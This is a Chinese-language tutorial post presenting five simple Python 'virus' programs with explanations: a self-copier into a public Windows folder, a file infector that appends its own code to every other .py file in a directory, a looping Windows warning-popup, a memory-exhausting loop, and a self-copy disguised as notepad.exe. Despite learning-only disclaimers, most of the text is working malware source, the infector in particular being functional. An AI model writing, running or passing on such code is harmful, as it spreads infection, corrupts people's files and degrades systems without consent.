Python病毒程序基础合集(第一篇)

本篇文章将介绍一些用 Python 编写的简单病毒程序。请注意,这些程序仅用于学习目的,目的是帮助你了解病毒是如何工作的,并加深对 Python 编程的理解。我们强烈建议你仅在合法和道德的框架下使用这些代码,并且不要将它们用于任何形式的恶意活动。

1. 文件复制病毒

一个简单的病毒可以在目标计算机上复制自己。这个病毒的目的是复制自己并在每个新副本中继续传播。

1.1 代码示例:简单的文件复制病毒
import os
import shutil

def virus():
    # 获取当前文件的路径
    current_file = os.path.abspath(__file__)
    
    # 目标文件夹(比如一个系统文件夹)
    target_dir = "C:/Users/Public/Documents"
    
    # 复制病毒到目标文件夹
    try:
        shutil.copy(current_file, target_dir)
        print(f"病毒复制成功到: {target_dir}")
    except Exception as e:
        print(f"复制失败: {e}")

if __name__ == "__main__":
    virus()
1.2 代码解析
  • os.path.abspath(__file__):获取当前脚本的绝对路径。
  • shutil.copy():将文件复制到指定目录。病毒程序将自己复制到系统目录中,可能导致它在多个位置运行。
  • target_dir:你可以将它设置为系统的公共目录或其他易于接触的目录,目标是让病毒在其他地方也能被执行。

  • 2. 自我传播病毒

    在这种病毒中,程序不仅会自己复制,还会试图在其他的 Python 脚本中嵌入自己的代码。这样当这些脚本被运行时,病毒程序会被激活。

    2.1 代码示例:自我传播病毒
    import os
    
    def infect():
        # 获取当前脚本的路径
        current_file = os.path.abspath(__file__)
        
        # 扫描当前目录下的所有 Python 文件
        for filename in os.listdir(os.getcwd()):
            if filename.endswith(".py") and filename != os.path.basename(current_file):
                with open(filename, 'r') as file:
                    content = file.read()
                
                # 判断文件是否已经感染过
                if "INFECTED" not in content:
                    with open(filename, 'a') as file:
                        with open(current_file, 'r') as virus_file:
                            virus_code = virus_file.read()
                        # 在文件末尾添加病毒代码
                        file.write("\n# INFECTED\n")
                        file.write(virus_code)
                    print(f"已感染文件: {filename}")
    
    def virus():
        print("这是病毒程序,它将自我传播!")
        infect()
    
    if __name__ == "__main__":
        virus()
    
    2.2 代码解析
  • os.listdir(os.getcwd()):获取当前目录下所有文件的列表。
  • open(filename, 'a'):以追加模式打开文件,并在文件末尾添加病毒代码。
  • # INFECTED:用来标记文件已经被感染过,避免重复感染。
  • 代码会将当前病毒程序的内容附加到每一个其他 .py 文件的末尾。

  • 3. 屏幕劫持病毒

    屏幕劫持病毒通过修改系统的显示效果来干扰用户的操作,通常通过改变屏幕颜色或者显示一些警告消息来“恐吓”用户。

    3.1 代码示例:屏幕劫持
    import os
    import time
    import ctypes
    
    # 使用 ctypes 调用 Windows API 改变屏幕背景色
    def screen_lock():
        ctypes.windll.user32.MessageBoxW(0, "你的计算机已经被感染!", "警告", 0x10)
    
    def virus():
        print("屏幕劫持病毒正在运行...")
        while True:
            screen_lock()
            time.sleep(3)  # 每隔 3 秒显示一次警告
    
    if __name__ == "__main__":
        virus()
    
    3.2 代码解析
  • ctypes.windll.user32.MessageBoxW:使用 ctypes 调用 Windows API 弹出消息框,模拟屏幕劫持的效果。
  • time.sleep(3):让程序每隔 3 秒弹出一次警告信息。
  • 注意: 这个程序只在 Windows 上有效,因为它调用了 Windows 的原生 API 来弹出消息框。如果你是 Linux 或 macOS 用户,这段代码将不会起作用。


    4. 程序崩溃病毒

    有些病毒会让目标机器上的程序崩溃。这类病毒通常会通过递归或大量消耗内存的方式,使得计算机崩溃或出现卡顿。

    4.1 代码示例:让程序崩溃
    import time
    
    def crash_program():
        print("准备让程序崩溃...")
        while True:
            crash = [0] * (10**7)  # 不断消耗内存
            time.sleep(1)
    
    if __name__ == "__main__":
        crash_program()
    
    4.2 代码解析
  • 这段代码通过创建大量的内存对象来消耗系统资源,从而使程序变得极其缓慢,甚至崩溃。每次循环都会创建一个大小为 10^7 的列表,不断消耗内存,导致程序的响应速度变得非常慢,最终崩溃。

  • 5. 反病毒检测

    为了防止病毒被用户发现和删除,许多病毒程序会加入自我保护机制,避免自己被杀毒软件检测到。这通常涉及到隐藏文件、修改文件名或伪装成其他程序等。

    5.1 代码示例:伪装成其他程序
    import os
    import time
    import shutil
    
    def disguise():
        current_file = os.path.abspath(__file__)
        disguise_name = "notepad.exe"  # 伪装成记事本程序
        try:
            # 将病毒文件复制并重命名
            shutil.copy(current_file, disguise_name)
            print(f"病毒伪装成功为 {disguise_name}")
        except Exception as e:
            print(f"伪装失败: {e}")
    
    def virus():
        print("病毒正在伪装...")
        disguise()
        
    if __name__ == "__main__":
        virus()
    
    5.2 代码解析
  • shutil.copy(current_file, disguise_name):将病毒程序复制到当前目录,并将文件名改为 notepad.exe,这样它看起来像是一个正常的系统程序,便于潜伏和继续传播。

  • 安全提醒

    这些代码仅用于学习目的,目的是帮助你理解计算机病毒的工作原理和如何防范它们。在实际应用中,病毒是非法的,并且可能会对计算机系统和数据造成严重损害。

    切记:

  • 永远不要在未经授权的计算机系统上运行这些程序。
  • 如果你是开发人员,应当优先考虑如何防范病毒攻击以及加强系统的安全性。
  • 确保你的计算机和网络使用的是最新的安全补丁和防病毒软件,以避免被恶意软件感染。
  • 希望这篇文章能让你更深入地理解 Python 编程和计算机安全领域的相关知识。

    作者:一只蜗牛儿

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